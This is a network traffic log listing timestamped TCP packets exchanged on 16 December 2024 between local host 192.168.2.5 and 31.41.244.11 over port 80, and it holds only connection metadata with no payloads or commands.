Dec 16, 2024 09:01:13.911843061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.911890984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.912041903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.912089109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.912847996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.912908077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.913000107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.913053036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.913830996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.913876057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.913939953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.913985968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.914855003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.914896965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.914969921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.915014029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.915846109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.915890932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.915971994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.916022062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.916838884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.916908979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.916949034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.916999102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.917824984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.917882919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.917928934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.917977095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.918832064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.918889999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.918998957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.919044971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.919831038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.919878960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.919926882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.919969082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.920829058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.920880079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.920922041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.920967102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.921813965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.921859026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.921966076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.922009945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.922823906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.922873020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.922943115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.922991037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.923883915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.923932076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.923986912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.924031973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.924870014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.924916029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.924962044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.925008059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.925781965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.925828934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.073595047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.073709965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.073817015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.073877096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.073923111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.073976040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.074075937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.074132919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.074951887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.075005054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.075086117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.075136900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.075964928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.076025009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.076075077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.076127052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.076932907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.076984882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.077052116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.077101946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.077951908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.078006983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.078012943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.078058004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.078989983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.079041004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.079091072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.079139948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.079940081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.079993010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.080077887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.080128908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.080998898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.081034899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.081048012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.081085920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.081931114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.081988096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.082056046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.082106113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.083024979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.083080053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.083138943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.083187103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.083926916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.083976984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.084052086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.084100008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.084944010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.085000992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.085062027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.085109949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.085890055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.085942984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.086021900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.086070061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.086915016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.086971045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.087035894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.087088108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.087941885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.088000059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.088041067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.088088036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.088884115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.088947058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.089008093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.089055061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.089900017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.089953899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.090122938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.090183020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.090869904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.090914011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.090989113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.091042995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.091912031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.091957092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.092011929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.092052937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.092880964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.092926025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.093025923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.093070030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.093868017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.093924046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.094032049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.094077110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.094870090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.094922066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.094968081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.095011950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.095931053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.095979929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.096036911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.096085072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.096863985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.096914053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.096960068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.097006083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.097903013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.097949028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.098002911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.098047018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.098886967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.098933935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.098980904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.099025011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.099843979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.099890947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.099947929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.099992990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.100841045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.100888968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.100929022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.100970984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.101814985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.101861954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.101917982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.101959944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.102807999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.102854013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.102931023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.102976084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.103826046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.103884935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.103919029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.103959084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.104808092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.104855061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.104899883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.104943991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.105818987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.105880022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.105914116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.105953932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.106811047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.106861115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.106905937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.106954098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.107848883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.107897997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.107944965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.107988119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.108814001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.108860970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.108885050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.108930111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.110045910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.110094070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.110236883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.110284090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.110877991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.110927105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.111138105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.111195087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.111810923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.111860991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.111943007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.111990929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.112802982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.112857103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.112926006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.112987041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.113800049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.113852024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.113919020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.113976955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.114795923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.114847898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.114929914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.114976883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.115830898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.115889072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.115897894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.115959883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.116802931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.116852999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.116919994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.116972923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.117793083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.117856979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.117891073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.117938042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.118766069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.118822098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.118902922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.119041920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.119787931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.119839907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.120033026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.120105982 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.120779037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.120834112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.120853901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.120901108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.121881962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.121936083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.121977091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.122025013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.122756958 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.122806072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.122838020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.122884989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.123759031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.123810053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.123883009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.123927116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.124733925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.124780893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.124840975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.124886036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.125673056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.125715971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.265666008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.265775919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.265775919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.265830040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.266047001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.266165018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.266191959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.266205072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.267116070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.267164946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.267395973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.267441988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.267499924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.267544031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.268407106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.268454075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.268512011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.268553972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.269402027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.269448042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.269516945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.269561052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.270412922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.270458937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.270507097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.270545006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.271414042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.271461010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.271532059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.271585941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.272411108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.272461891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.272495031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.272536039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.273422956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.273474932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.273518085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.273555994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.274398088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.274446011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.274506092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.274549007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.275410891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.275475025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.275548935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.275671959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.276421070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.276535034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.276567936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.276595116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.277435064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.277529001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.277584076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.278415918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.278496981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.278558969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.279426098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.279495001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.279542923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.280381918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.280441046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.280575991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.281472921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.281523943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.281528950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.281579018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.282411098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.282525063 CET	80	49817	31.41.244.11	192.168.2.5
